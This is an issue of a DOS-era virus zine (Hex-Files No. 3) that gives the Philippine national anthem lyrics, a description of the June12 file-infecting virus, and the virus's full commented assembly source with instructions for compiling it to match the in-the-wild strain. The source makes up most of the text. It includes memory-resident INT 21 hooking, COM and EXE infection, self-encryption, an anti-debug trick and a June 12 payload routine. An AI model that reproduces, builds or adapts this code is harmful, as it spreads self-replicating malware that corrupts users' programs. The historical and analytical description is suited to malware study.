Copy Link
Add to Bookmark
Report
Hexfiles Issue 3 File 007
HEX-FILES No. 3 File 007
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Ladies and Gentlemen,
Lupang Hinirang, the Philippine National Anthem
Bayang magiliw
Perlas ng Silanganan
Alab ng puso
Sa dibdib mo'y buhay
Lupang hinirang
Duyan ka ng magiting
Sa manlulupig
Di ka pasisiil.
Sa dagat at bundok
sa simoy at sa langit mong bughaw
May dilag ang tula at
awit sa paglayang minamahal
Ang kislap ng watawat
mo'y tagumpay na nag niningning
Ang bituin at araw niya
Kailan pa ma'y di magdidilim
Lupa ng araw ng luwalhati't pagsinta
Buhay ay langit sa piling mo
Aming ligaya na pag may mangaapi
Ang mamatay ng dahil sa iyo.
Folks, this is the lyrics of the Philippine National Anthem. The
words that goes with the hymn played by the June12 family on
activation.
The original lyrics was in Spanish. An English translation became the
official during the Commonwealth period (American occupation) of the
Philippines. When the Philippines regained its independence, a
Pilipino translation was written and became the only official
Philippine National Anthem.
There is no version of this in any other language. If somebody claims
otherwise, he/she might be reliving the colonial past.
Virus Name: June12.Standard.2660
Alias: Jerusalem.Mabuhay.2660, June 14th, June_12th.2660,
June12, JUNE12-1, June12.2660, June12th, June12th.2672,
Mabuhay, Mabuhay.2660, Mabuhay.2660.a, Mabuhay-2695
It goes memory resident as TSR and reserves 2672 bytes of memory. It
hooks int 21 and infects on read-only file open (21/3d00) and
execution of a program (21/4b00).
It infects EXEs and COMs, with the exception of COMMAND.COM. It is
appended to files. Its infective length is 2672 to 2687 bytes in COMs
and 2660 to 2675 bytes in EXEs. The virus is mostly encrypted.
Infected COMs are shifted by 11 bytes. The first 11 bytes of infected
programs are occupied by the virus relocator. Also included in its
infective length is a 256-byte block containing garbage. This block
is a portion of the memory block located right after the memory
occupied by the virus.
The virus uses an anti-debug routine which prevents someone from
tracing the virus.
The virus activates on June 12th, the Independence Day of the
Philippines. All program executions are preceded by the display of
the payload. It displays messages, draws the Philippine flag, and
plays the "Lupang Hinirang", Philippine National Anthem.
This text is displayed above the flag:
" June 12 - the Independence Day of the Philippines."
And below the flag, you will find these messages:
" MABUHAY ANG PILIPINAS!
Dedicated to Manong Eddie."
This virus appears to be dedicated to Fidel Ramos, who became the
newly elected president of the Philippines, at that time.
ÄÄ J12STD-A.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: June12.Standard.2660 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author : Unknown ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : Metro Manila, Philippines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To create a virus exactly like the one ÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ found in the wild, TASM 2.01 or MASM 5.0 ÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ should be used. Other compilers might ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ create a new variant. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by Putoksa Kawayan ÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ExeHeader struc
ExeID dw ?
PageMod dw ?
PageCount dw ?
RelTab dw ?
HedSize dw ?
MinPara dw ?
MaxPara dw ?
SSeg dw ?
SPt dw ?
CxSum dw ?
CPt dw ?
CSeg dw ?
RelFrst dw ?
ExeHeader ends
June12 segment 'code'
assume cs:June12, ds:nothing
MemRelocate equ 3fch
Environment equ 2ch
June equ 6
Twelve equ 12
BiosData equ 40h
MotorTimeOut equ BiosData
VideoPort equ 63h
TraceTrap equ ((offset NoTrace-offset AntiTrace)-2)
VirusStack equ (offset EndOfJune12+100h)-2
;
; virus entry point from an infected com program
;
June12Entry:
jmp ComEntry
db 1ah
ComLowLength dw ?
SavedPsp dw ?
ExecParam dw 0,80h,0,5ch,0,6ch,0
ExeSp dw ?
ExeSs dw ?
ExeHost label dword
ExeIp dw ?
ExeCs dw ?
SavedMem db 3 dup (?)
DosInterrupt dd ?
ComHost dd ?
FileHandle dw ?
MemAllocFlag db ?
CallerAsciiz dd ?
FileAttribute dw ?
FileTypeFlag db ?
ErrorInterrupt dd ?
FileDate dw ?
FileTime dw ?
HandlerActive db ?
ExeReadBuff db 28 dup (?)
EncryptFlag db ?
FileDatTimeFlag db ?
FileAttribFlag db ?
ExeHiLength dw ?
ExeLoLength dw ?
PageSize dw 512
ParagraphSize dw 16
MaskDataEnd db ?
Command db 'COMMAND.'
Com db 'COM'
Exe db 'EXE'
;------------------ Payload Data
Text1 db 'June 12 - the Independence Day of the Philippines.'
FlagData dw 0220h,02dfh,2020h,-1
dw 0220h,012ah,0320h,02dfh,1c20h,-1
dw 0a20h,02dfh,1820h,-1
dw 0520h,015ch,01b3h,012fh,0620h,02dfh,1420h,-1
dw 0420h,01c4h,01c4h,010fh,01c4h,01c4h,0520h
dw 012ah,0320h,12dfh,-1
dw 0520h,012fh,01b3h,015ch,0620h,02dch,1420h,-1
dw 0a20h,02dch,1820h,-1
dw 0220h,012ah,0320h,02dch,1c20h,-1
dw 0220h,02dch,2020h,-1
FlagColor db 70h,71h,10h,70h,7eh,70h,71h,10h,70h,71h,10h,70h,7eh
db 7eh,7eh,70h,71h,10h,70h,7eh,7eh,7eh,7eh,7eh,70h,7eh
db 70h,41h,70h,7eh,7eh,7eh,70h,74h,40h,70h,74h,40h,70h
db 7eh,70h,74h,40h,70h,74h,40h
;' D e d i c a t e d t o M a n o n g E d d i e .'
;'M A B U H A Y A N G P I L I P I N A S ! '
Text2 db 'MDAeBdUiHcAaYt eAdN Gt oP IMLaInPoInNgA SE!d d i e .'
;------------------ National Anthem Data
Anthem01 dw offset Anthem05,offset Anthem05,offset Anthem04
dw offset Anthem04,offset Anthem06,offset Anthem03
dw offset Anthem06,offset Anthem03
Anthem02 dw offset Anthem09,offset Anthem09,offset Anthem08
dw offset Anthem08,offset Anthem10,offset Anthem07
dw offset Anthem11,offset Anthem07
Anthem03 dw 0d5bh,0e21h,0be4h,0d5bh,11cah,0be4h,0a98h,0a00h
dw 0a98h,0be4h,0a98h,0d5bh,0d5bh,0e21h,0be4h,0d5bh
dw 11cah,0be4h,0a98h,0a00h,0a98h,0be4h,002ch
Anthem04 dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,096fh,08e9h,07f1h,08e9h
dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,0a00h,0a98h,0be4h,0a98h
dw 0be4h,0d5bh,002ch
Anthem05 dw 0d5bh,0fdah,0d5bh,0a00h,0a00h,08e9h,08e9h,07f1h
dw 08e9h,0a00h,08e9h,07f1h,077eh,07f1h,08e9h,07f1h
dw 0a00h,08e9h,0a98h,0a98h,0a00h,002ch
Anthem06 dw 0d5bh,002ch
Anthem07 db 12,9,3,12,12,4,4,4,9,3,12,12,12,9,3,12,12,4,4,4,9,3
Anthem08 db 4,4,4,9,3,9,3,9,3,9,3,9,3,9,3,12,4,4,4,9,3,9,3,9
db 3,9,3,4,4,4,4,4,4,12
Anthem09 db 4,4,4,12,12,12,12,9,3,9,3,12,4,4,4,12,12,12,9,3,36
Anthem10 db 12
Anthem11 db 24
XorOperand db 9ch
;
; int 24 handler
;
isErr:
xor al,al
iret
;
; encrypts/decrypts payload data
;
MaskData:
push ax
push si
pushf
mov si,offset XorOperand ; decryption start
mov al,cs:[si]
MaskDataLoop:
xor cs:[si-1],al ; encrypt/decrypt
dec si
cmp si,(MaskDataEnd-June12Entry) ; decryption end
jne MaskDataLoop
popf
pop si
pop ax
ret
;
; payload trigger determinant
; payload is released on June 12 of any year on 21/4b00
;
isTheDay:
push ax
push bx
push cx
push dx
push di
push si
push es
push ds
mov ah,2ah ; get system date
int 21h
cmp dh,June ; month = June
jne isNot
cmp dl,Twelve ; date = 12
jne isNot
call ShowPayload
isNot:
pop ds
pop es
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
;
; encrypts/decrypts int 21 handler
; the int 21 handler is divided into blocks
;
MaskHandler:
push si
pushf
mov si,offset MaskHandler1
MaskHandlerLoop1:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler2
jne MaskHandlerLoop1
mov si,offset MaskHandler3
MaskHandlerLoop2:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler4
jne MaskHandlerLoop2
mov si,offset MaskHandler5
MaskHandlerLoop3:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler6
jne MaskHandlerLoop3
popf
pop si
ret
;
; main entry point for the virus from an infected com program
;
ComEntry:
pop es
;
; checks if already memory resident
;
; ah=ef int 21 ---> ax=25b
;
; if resident, ah=ff di=100 si=10b int 21 restores and executes COM host
;
mov ah,0efh
int 21h
cmp ah,0efh
jnb ComNotResident
cmp ax,25bh
jne ComNotResident
mov ah,0ffh
mov di,100h
mov si,10bh
push es
pop ds
mov cx,ds:ComLowLength
int 21h
ComNotResident:
mov ax,cs
mov ss,ax
mov sp,VirusStack
;
; entry point for the virus from an infected exe program
;
ExeEntry:
cld
;
; trap for tracers which takes advantage of the prefetch
; tbclean chokes on this one!!!
;
jmp $+2
sub byte ptr cs:AntiTrace+1,TraceTrap
AntiTrace:
jmp short NoTrace
mov ax,4c00h
int 21h
NoTrace:
cmp EncryptFlag,0
je Init
call MaskInit ; decrypt virus init
Init:
push es
mov SavedPsp,es ; save psp segment
mov ExecParam+4,es ; set up EXEC parameter
mov ExecParam+8,es
mov ExecParam+12,es
mov ax,es
add ax,16
add ExeCs,ax ; set up host exe
add ExeSs,ax ; code and stack segments
mov ah,0efh
add byte ptr AntiTrace+1,TraceTrap
int 21h
cmp ah,0efh
jnb NotResident
pop es ; note that com resident
mov ss,ExeSs ; check had been done
mov sp,ExeSp ; earlier
jmp ExeHost ; execute exe host
;
; prepare to move virus code to PSP:100
; virus places the code to move the virus from the end of the file at
; 0:3fc the original content of which is saved and subsequently restored
;
NotResident:
xor ax,ax
mov es,ax
mov ax,es:MemRelocate ; save content of 0:3fc
mov word ptr SavedMem,ax
mov al,byte ptr es:MemRelocate+2
mov byte ptr SavedMem+2,al
mov word ptr es:MemRelocate,0a5f3h ; set move instruction
mov byte ptr es:MemRelocate+2,0cbh ; return far
pop ax
add ax,16 ; set destination PSP:100
mov es,ax
push cs
pop ds
mov cx,offset EndOfJune12+100h ; set length to move
shr cx,1
xor si,si
mov di,si
push es
mov ax,offset ContinueInit ; return offset
push ax
db 0eah ; far jump to 0:3fc
dw MemRelocate,0 ; == move virus code
;
; routine executed after the virus had been moved to PSP:100
; it hooks int 21, executes the host program, and goes memory resident
;
ContinueInit:
mov ax,cs
mov ss,ax
mov sp,(((offset EndOfJune12-offset June12Entry)/100h)+3)*100h
xor ax,ax
mov ds,ax
mov ax,word ptr SavedMem ; restore content of 0:3fc
mov ds:MemRelocate,ax
mov al,SavedMem+2
mov byte ptr ds:MemRelocate+2,al
mov bx,sp
mov cl,4 ; release excess memory
shr bx,cl
add bx,32
mov ah,4ah
mov es,SavedPsp
int 21h
mov ax,3521h ; save int 21
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es
assume cs:June12, ds:June12
push cs
pop ds
mov dx,offset isDos ; hook int 21
mov ax,2521h
int 21h
mov es,SavedPsp
mov es,es:Environment
xor di,di
mov cx,7fffh
xor al,al
FindFilename: ; find name of host program
repne scasb ; from environement
cmp es:[di],al
loopne FindFilename
mov dx,di
add dx,3
assume cs:June12, ds:nothing
xor al,al
mov HandlerActive,al
mov ax,4b00h ; execute host program
push es
pop ds
push cs
pop es
mov bx,offset ExecParam
pushf
call DosInterrupt
push ds
pop es
mov ah,49h ; release environment segment
int 21h
mov ah,4dh
int 21h
MaskInitEnd:
cmp EncryptFlag,0 ; init routine encrypted?
jne InitMasked
call MaskInit ; encrypt
InitMasked:
mov ah,31h ; remain resident
mov dx,offset EndOfJune12
mov cl,4
shr dx,cl
add dx,17
int 21h
;
; int 21 handler of the virus
; infects on 4b00 (EXEC) and 3d00 (file open read)
;
isDos:
pushf
cmp ah,0efh ; resident check
jne CheckRestoreHostCom
mov ax,25bh
popf
iret
CheckRestoreHostCom:
cmp ah,0ffh ; restore com host check
je RestoreHostCom
cmp ax,4b00h ; exec
jne CheckOpenFile
jmp short SetUpForInfection
CheckOpenFile:
cmp HandlerActive,0 ; is open called from
jne ExitRelay01 ; handler?
cmp ah,3dh ; file open
je CheckOpenFileMode
ExitRelay01:
jmp PassToDos
RestoreHostCom:
pop ax ; flag pushed by handler
pop ax ; ip pushed on int call
mov ax,100h
mov word ptr ComHost,ax ; set execute host start
pop ax ; cs pushed on int call
mov ax,es
mov word ptr ComHost+2,ax ; set host segment
repe movsb ; move host program code
popf ; flag pushed by int call
xor ax,ax ; clear ax
jmp ComHost ; execute host com program
CheckOpenFileMode:
test al,7 ; check for open read only
jnz ExitRelay01
SetUpForInfection:
inc HandlerActive
mov FileHandle,-1
mov MemAllocFlag,0
mov word ptr CallerAsciiz,dx ; save caller asciiz
mov word ptr CallerAsciiz+2,ds
push ax ; save regs
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
cld
push ds ; save file name
push dx
assume cs:June12, ds:June12
push cs
pop ds
mov ax,3524h ; save and hook int 24
int 21h
mov word ptr ErrorInterrupt,bx
mov word ptr ErrorInterrupt+2,es
mov dx,offset isErr
mov ax,2524h
int 21h
assume cs:June12, ds:nothing
pop dx
pop ds
call MaskData ; decrypt payload data
call MaskHandler ; decrypt int 21 handler
MaskHandler1:
mov di,dx
xor dl,dl
cmp byte ptr [di+01],':' ; is drive spec specified?
jne UseDefaultDrive
mov dl,[di]
and dl,1fh ; convert to drive number
UseDefaultDrive:
mov ah,36h ; get disk free space
int 21h
cmp ax,-1 ; error?
jne DetermineFreeSpace
ExitRelay02:
jmp RestoreErrorInterrupt
DetermineFreeSpace:
mul bx
mul cx
or dx,dx
jnz EnoughDiskSpace
cmp ax,offset EndOfJune12+100h ; enough space?
jb ExitRelay02
EnoughDiskSpace:
mov dx,word ptr CallerAsciiz
push ds
pop es
xor al,al
mov cx,41
repne scasb ; get end of file name
mov si,word ptr CallerAsciiz
GetNextCharOfAsciiz: ; convert file name to
mov al,[si] ; upper case
or al,al
jz EndOfAsciiz
cmp al,'a'
jb NextCharOfAsciiz
cmp al,'z'
ja NextCharOfAsciiz
sub byte ptr [si],20h
NextCharOfAsciiz:
inc si
jmp GetNextCharOfAsciiz
EndOfAsciiz:
push cs
pop es
push si
mov cx,3
sub si,cx
mov di,offset Com ; is it a com?
xor al,al
mov FileTypeFlag,al
repe cmpsb
pop si
jne CheckIfExe
jmp short CheckIfCommand
CheckIfExe:
inc FileTypeFlag
push si
mov cx,3
sub si,cx
mov di,offset Exe ; is it an exe?
repe cmpsb
pop si
je CheckIfCommand
jmp RestoreErrorInterrupt
CheckIfCommand:
mov cx,11
sub si,cx
mov di,offset Command ; is it command.?
repe cmpsb
jne PrepareToInfect
jmp RestoreErrorInterrupt ; then do not infect.
PrepareToInfect:
mov ax,4300h ; get file attribute
int 21h
jc ExitRelay03
mov FileAttribute,cx ; ....and save
ExitRelay03:
jc ExitRelay04
mov ax,3d00h ; open file
int 21h
ExitRelay04:
jc ExitRelay05
mov FileHandle,ax
mov ah,48h ; allocate 3 paras memory
mov bx,3
int 21h
ExitRelay05:
jc ExitRelay06
inc MemAllocFlag
mov bx,FileHandle
mov ds,ax
mov cx,-1
mov dx,((offset EndOfJune12+100h)-offset isErr)
neg dx
mov ax,4202h ; move pointer to infection
int 21h ; signature
ExitRelay06:
jc ExitRelay07
add ax,((offset EndOfJune12+100h)-offset isErr)
mov ComLowLength,ax ; save program file length
mov cx,48
xor dx,dx
mov si,dx
mov ah,3fh
int 21h ; read for infection check
ExitRelay07:
jc ExitRelay08
mov cx,48
mov di,offset isErr ; start of infection sig
push cs
pop es
repe cmpsb
push ds
pop es
jne NotInfected ; is it infected?
mov ah,3eh
int 21h
jmp RestoreErrorInterrupt
NotInfected:
mov ah,49h ; release the 3 para memory
int 21h
ExitRelay08:
jc ExitRelay09
dec MemAllocFlag
lds dx,CallerAsciiz ; get file name
xor cx,cx
mov ax,4301h ; clear file attribute
int 21h
ExitRelay09:
jc ExitRelay10
inc FileAttribFlag ; set file attribute changed flag
mov bx,FileHandle
mov ah,3eh
int 21h ; close file
mov word ptr FileHandle,-1 ; clear file open flag
mov ax,3d02h ; file open read/write
int 21h
ExitRelay10:
jc ExitRelay11
mov FileHandle,ax ; save file handle
assume cs:June12, ds:June12
mov ax,cs
mov ds,ax
mov es,ax
mov bx,FileHandle
mov ax,5700h ; get file date/time stamps
int 21h
mov FileDate,dx ; ....and save
mov FileTime,cx
inc cs:FileDatTimeFlag ; set file stamps saved flag
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h ; move file pointer to start
ExitRelay11:
jc ExitRelay12
cmp FileTypeFlag,0 ; is file exe or com?
je isCom
jmp isExe
;
; routine to infect com programs
; the host program is sandwiched between the virus relocator and the
; main virus code.
;
isCom:
mov bx,1000h ; allocate one segment
mov ah,48h
int 21h
jnc CopyVirusJumper ; failed?
mov ah,3eh ; then close file and exit
mov bx,FileHandle
int 21h
jmp RestoreErrorInterrupt
CopyVirusJumper:
inc MemAllocFlag ; set memory allocated flag
mov es,ax
xor di,di
mov si,offset VirusJumper ; copy virus relocator
mov cx,(offset MaskInit-offset VirusJumper)
repe movsb
mov ax,ComLowLength
add ax,(offset MaskInit-offset VirusJumper)
mov cx,ax
and ax,0fff0h ; align to paragraph
add ax,16
sub cx,ax
neg cx
xchg bp,cx
mov cl,4
shr ax,cl
add ax,16
mov word ptr es:[((VxSeg-VirusJumper)+1)],ax ; set virus segment
mov dx,di ; in relocator
mov cx,ComLowLength
mov bx,FileHandle
push ds
push es
pop ds
mov ah,3fh ; read entire com program
int 21h ; after relocator
pop ds
ExitRelay12:
jc ExitRelay13
add di,cx
xchg bp,cx ; clear file slack due to
xor al,al ; alignment
repe stosb
xor si,si
mov cx,offset EndOfJune12+100h
MaskHandler2:
call MaskHandler ; encrypt int handler
call MaskData ; encrypt payload data
repe movsb ; copy virus code
call MaskData ; decrypt payload data
call MaskHandler ; decrypt int handler
MaskHandler3:
push es
pop ds
add di,cx
xor cx,cx
mov dx,cx
mov ax,4200h ; move pointer to start
int 21h
mov cx,di
xor dx,dx
mov ah,40h
int 21h ; write infected file
ExitRelay13:
jc ExitRelay14
jmp PrepareToExit
;
; routine to infect exe programs
; the virus is appended to exe programs.
;
isExe:
mov cx,28 ; read exe header
mov dx,offset ExeReadBuff
mov ah,3fh
int 21h
ExitRelay14:
jc ExitRelay15
mov ax,[ExeReadBuff].SSeg ; save segments and pointers
mov ExeSs,ax
mov ax,[ExeReadBuff].SPt
mov ExeSp,ax
mov ax,[ExeReadBuff].CPt
mov ExeIp,ax
mov ax,[ExeReadBuff].CSeg
mov ExeCs,ax
mov ax,[ExeReadBuff].PageCount
cmp word ptr [ExeReadBuff].PageMod,0
je PageAligned
dec ax
PageAligned:
mul PageSize
add ax,[ExeReadBuff].PageMod
adc dx,0 ; align to paragraph
add ax,15
adc dx,0
and ax,0fff0h
mov ExeLoLength,ax
mov ExeHiLength,dx
add ax,offset EndOfJune12+100h
adc dx,0
ExitRelay15:
jc ExitRelay16
div PageSize
or dx,dx
jz AlignedToPage
inc ax
AlignedToPage:
mov [ExeReadBuff].PageCount,ax
mov [ExeReadBuff].PageMod,dx
mov ax,ExeLoLength
mov dx,ExeHiLength
div ParagraphSize
sub ax,[ExeReadBuff].HedSize
mov [ExeReadBuff].CSeg,ax ; set virus exe header
mov [ExeReadBuff].CPt,offset ExeEntry
mov [ExeReadBuff].SSeg,ax
mov [ExeReadBuff].SPt,VirusStack
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
ExitRelay16:
jc ExitRelay17
mov cx,28
mov dx,offset ExeReadBuff
mov ah,40h ; write altered header
int 21h
ExitRelay17:
jc ExitRelay18
cmp ax,cx
jne PrepareToExit
mov dx,ExeLoLength
mov cx,ExeHiLength
mov ax,4200h
int 21h ; move pointer to end of file
ExitRelay18:
jc PrepareToExit
xor dx,dx
mov cx,offset EndOfJune12+100h
mov ah,40h
call MaskData ; encrypt payload data
MaskHandler4:
call MaskHandler ; encrypt int handler
int 21h ; write virus to eof
call MaskHandler ; decrypt int handler
MaskHandler5:
call MaskData ; decrypt payload data
assume cs:June12, ds:nothing
PrepareToExit:
cmp word ptr FileHandle,-1 ; is file open?
je RestoreErrorInterrupt
cmp FileDatTimeFlag,0
je NoDateTimeChange
mov bx,FileHandle
mov dx,FileDate
mov cx,FileTime
mov ax,5701h ; restore program date and
int 21h ; time stamps
NoDateTimeChange:
mov ah,3eh ; close file
int 21h
cmp FileAttribFlag,0 ; did we reset the attribute
je RestoreErrorInterrupt
lds dx,CallerAsciiz ; load filename
mov cx,FileAttribute
mov ax,4301h ; restore file attribute
int 21h
RestoreErrorInterrupt:
lds dx,ErrorInterrupt
mov ax,2524h ; restore int 24
int 21h
cmp MemAllocFlag,0 ; is memory allocated?
je NoMemAllocated
mov ah,49h ; then release it
int 21h
NoMemAllocated:
call MaskData ; encrypt payload data
MaskHandler6:
call MaskHandler ; encrypt int handler
xor al,al
mov HandlerActive,al ; clear handler active flag
mov bp,sp
mov ax,[bp+16] ; get int 21 function call
cmp ax,4b00h ; is it exec?
jne NotExec
call isTheDay ; then check if show time
NotExec:
pop bp ; restore registers
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
PassToDos:
popf
jmp DosInterrupt ; execute int 21 call
;
; virus relocator. this resets the segment where the virus will be executed
;
VirusJumper:
push cs
mov ax,cs
VxSeg:add ax,'PK' ; virus segment
push ax
xor ax,ax ; offset 0
push ax
retf
;
; encrypts/decrypts virus initialization routine
;
MaskInit:
push si
mov si,offset Init ; encryption start
MaskInitLoop:
not byte ptr cs:[si]
inc si
cmp si,offset MaskInitEnd ; encryption end
jne MaskInitLoop
xor EncryptFlag,07 ; clear/set encryption flag
pop si
ret
;
; display of payload routines.
; payload is display of the Philippine flag and playing of the Philippine
; national anthem -- "Lupang Hinirang". text dedicating the virus to
; Fidel Ramos the President of the Philippines at that time. "Manong" is a
; generic name used for a man much older than you are, and "Eddie" is the
; nickname of Ramos.
;
ClearScreen:
mov ax,719h ; clear screen
mov cx,0
mov dx,184fh
mov bh,7
int 10h
ret
;
; draws the flag of the Philippines
;
DrawFlag:
push cx
mov cl,ah
xor ch,ch
mov ah,9
int 10h
pop cx
ret
WriteText:
mov ah,2
int 10h
xchg cx,bp
mov al,[di]
mov ah,9
int 10h
inc dl
add di,2
xchg cx,bp
loop WriteText
ret
assume cs:June12, ds:June12
;
; main routine to execute payload
;
ShowPayload:
mov ax,BiosData
mov ds,ax
mov si,VideoPort ; get video port
lodsw
cmp ax,3b4h ; is it mono?
je ItsMono
mov al,3
jmp short FlipScreen
ItsMono:
mov al,7
FlipScreen:
mov ah,0 ; set video mode
int 10h
push cs
pop ds
mov ah,3 ; save cursor
xor bh,bh
int 10h
push cx
mov ah,1
mov cx,201h
int 10h ; hide cursor
call MaskData ; decrypt payload data
sti
mov si,offset Text1 ; show texts
mov dx,20fh
xor bh,bh
mov bl,0fh
mov ah,2
int 10h
mov cx,50
mov bp,1
NextChar:
lodsb
mov ah,9
xchg cx,bp
int 10h
xchg cx,bp
inc dl
mov ah,2
int 10h
loop NextChar
xor bh,bh
mov dx,416h ; draw flag
mov si,offset FlagData
mov di,offset FlagColor
mov cx,9
MoveCursor:
mov ah,02
int 10h
lodsw
cmp al,-1
je DrawNextRow
add dl,ah
mov bl,[di]
call DrawFlag
inc di
jmp MoveCursor
DrawNextRow:
inc dh
mov dl,22
loop MoveCursor
mov di,offset Text2 ; show dedication
mov dx,0f1dh
mov cx,22
mov bp,1
mov bl,8fh
call WriteText
mov di,offset Text2+1
mov dx,121bh
mov cx,26
mov bl,0eh
call WriteText
mov bx,0c350h ; play the anthem
mov al,bl
out 40h,al
mov al,bh
out 40h,al
in al,61h
push ax
mov cx,8
NextNote:
mov di,cx
dec di
shl di,1
mov si,[di+offset Anthem01]
mov di,[di+offset Anthem02]
push cx
call MusicPlayer
pop cx
loop NextNote
pop ax
out 61h,al
xor al,al
out 40h,al
out 40h,al
mov ax,BiosData
mov ds,ax
mov di,MotorTimeOut
mov byte ptr [di],1
xor bh,bh
xor dx,dx
mov ah,2 ; move cursor to upper left
int 10h ; corner of the screen
cli
call MaskData ; encrypt payload data
call ClearScreen ; clear screen
pop cx
mov ah,1
int 10h ; restore cursor
ret
;
; routine to play the national anthem
;
MusicPlayer:
mov bx,[si]
mov al,0b6h
out 43h,al
mov ax,bx
out 42h,al
xchg ah,al
out 42h,al
in al,61h
or al,3
out 61h,al
mov cl,[di]
push ds
push si
mov ax,BiosData
mov ds,ax
mov si,MotorTimeOut
mov [si],cl
HoldTheNote:
cmp byte ptr [si],0
jne HoldTheNote
pop si
pop ds
add si,2
inc di
cmp byte ptr [si],2ch
jne MusicPlayer
ret
;
;
;
;
; this is my first generation routine
; this loads the virus to memory
;
;
;
;
EndOfJune12:
mov ax,cs
mov ss,ax
mov sp,VirusStack
mov ds,ax
mov ah,0efh
int 21h
cmp ax,25bh
jne Pers2
call Pers1
call Pers1
call Pers1
mov ax,4cffh
int 21h
align 2
Pers1:mov ax,0e07h
xor bx,bx
int 10h
ret
align 2
Pers2:call MaskData
call MaskInit
call MaskHandler
mov ax,es:Environment
mov es,ax
mov ah,49h
int 21h
mov ax,3521h
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es
mov dx,offset isDos
mov ax,2521h
int 21h
call Pers1
mov ax,3100h
mov dx,((offset EndOfJune12-offset June12Entry)/16)+17
int 21h
June12 ends
end EndOfJune12
ÄÄ J12STD-A.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The following debug script contains a file infected by a virus
compiled from the above program listing using TASM 2.01.
MASM 5.0 would also produce a similar virus.
